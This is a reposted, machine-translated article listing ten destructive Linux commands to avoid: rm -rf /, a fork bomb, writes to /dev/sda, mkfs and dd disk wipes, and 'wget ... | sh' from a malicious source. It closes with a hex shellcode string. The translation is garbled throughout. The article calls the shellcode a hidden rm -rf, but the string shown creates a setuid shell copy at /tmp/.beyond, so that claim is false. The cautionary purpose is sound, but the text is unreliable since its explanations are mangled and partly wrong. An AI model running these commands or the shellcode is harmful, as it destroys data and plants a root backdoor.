10 commands should not be easily executed on the CentOS Server

Source: Internet
Author: User
Tags centos server

10 commands should not be easily executed on the CentOS Server

Linux Command Line compaction is useful, efficient, and interesting, but sometimes dangerous, especially when you are not sure what you are doing. This article is not intended to attract your anger at Linux or linux Command lines. We just want you to realize that you should think twice before running some commands.

Of course, the following commands can be used to make full use of dummies with root permissions. In normal user identities, only one acre of land is damaged.

1. The rm-rf command is one of the fastest ways to delete folders and their contents. A single bit of misjudgment or ignorance may lead to irreparable system breakdown. The following are some options for the rm command.

# The rm command is usually used in Linux to delete files. The rm-r command recursively deletes folders, or even empty folders. The rm-f command can directly Delete 'read-only files' without asking '. Rm-rf/force delete all objects in the root directory. Rm-rf * forcibly deletes all files in the current directory. Rm-rf. Force Delete the current folder and Its subfolders.

From now on, be careful when you want to execute the rm-rf command. We can the bashrc file creates an rm-I alias for the 'rm' command to prevent the accident when the 'rm' command is used to delete the file. It will require you to confirm each deletion request. Most releases have already done so. If not, please do so and consider what you are doing before using the-f parameter! I have a tearful lesson.

2,:(){:|:&};:

This is an example of a fork bomb. The specific operation is to define a function named ':', which calls itself twice and runs on the background at the front end at one time. It will be executed repeatedly until the system crashes.

:() {:|:&};:# Oh? Are you sure you want to try it? Never experiment on the company's official server!

3. Commands> /dev/sdaThis command writes the output of a 'COMMAND 'to the block device/dev/sda.

This operation replaces all data blocks in the block device with the original data written by the command, resulting in data loss of the entire block device.

# Replace all data blocks in the block device with the original data written by the command>/dev/sda

4. The mv Folder/dev/null command moves a 'Folder 'to/dev/null. In Linux, the/dev/null or null device is a special file. All data written to it will be cleared, and the write operation is successful.

This is the Linux black hole. Of course, it should be noted that, by moving folders to a black hole, the salvation of data recovery software cannot be prevented, you need to use dedicated software or techniques-I know you must have something to delete.

# Linux black hole mv/home/user/*/dev/null </pre> # The command moves all contents of the User directory to/dev/null, this means that all things are involved in the black hole (null.

5,wget http://malicious_source -O- | shThe command will download and execute a script from a (or perhaps) malicious source. The Wget command will download this script, while sh will (unconditionally) execute the downloaded script.

Note: always pay attention to the source of your downloaded package or script. Only scripts/programs can be downloaded from trusted sources. So, do you really know what you're doing? If this is necessary, I will first wget it, then I will read what is written in it, and then I will consider whether to execute it.

6,mkfs.ext3 /dev/sdaThe command will format the block device 'sda'. You certainly know that your block device (hard disk drive) will be formatted after you execute the above command, brand new! Without any data, you can directly bring your system to an irrecoverable stage.

Generally, devices such as/dev/sda are not directly used. Unless used as raw backup, sda is generally used only after being divided into partitions such as sda1 and sda2. Of course, whether you use sda or sda1, mkfs for Block devices or partitions will be destroyed and the above data will be evaporated.

7,> fileThe preceding command is used to clear the file content.

It is also used to record command output. Before executing the command, make sure that the output file is empty or does not exist. Otherwise, the original file cannot be recovered. Even the data recovery software may not be able to help you. In addition, I think you may really want to use ">", that is, to append a new output to the file, rather than overwrite the file .). If the input is incorrect or the input is ignorant when the above column is used for execution> xt.confThe command overwrites the configuration file or any other system configuration file.

During file redirection,> overwrites,> appends.

8,^foo^barThis command is used to edit previously run commands without replaying the entire command. However, when you use the foobar command, if you do not thoroughly check the risks of changing the original command, this may cause real trouble.

In fact, this kind of trick is the useless and harmful "hacker" technique left behind by a few prehistoric times.

9,dd if=/dev/random of=/dev/sdaThe command writes random spam files to the block device sda to erase the data. Of course! Your system may be in a state of chaos and irrecoverability.

Do you remember that the music videos cannot be completely deleted from black holes? So this command is to give you a thorough deletion method! Of course, you can overwrite it multiple times for the sake of insurance.

10. The command below the hidden command is actually the first command above (rm-rf ). The code here is hidden in hexadecimal notation, and an ignorant user may be fooled. Running the following command on the terminal may erase your root partition. This command indicates that the real danger is hidden and will not be easily detected. You must always pay attention to what you are doing. Do not compile/run code from unknown sources.

# Equivalent to the rm-rf hexadecimal command char esp [] _ attribute _ (section (". text)/* e. s. prelease */= "\ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68" "\ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99 "" \ xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7 "\ x56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56" "\ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31 "" \ xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ x2f \ x62 \ x69 ″ "\ x6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00" "cp-p/bin/sh/tmp /. beyond; chmod 4755/tmp /. beyond ;";

Note: Do not run any of the above commands on your Linux terminal or Shell in your classmates or school computer. If you want to test them, run them on the VM. The author and Tecmint of this article are not responsible for any discord or data loss. The translator and the reposted website are not responsible for either ~!)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.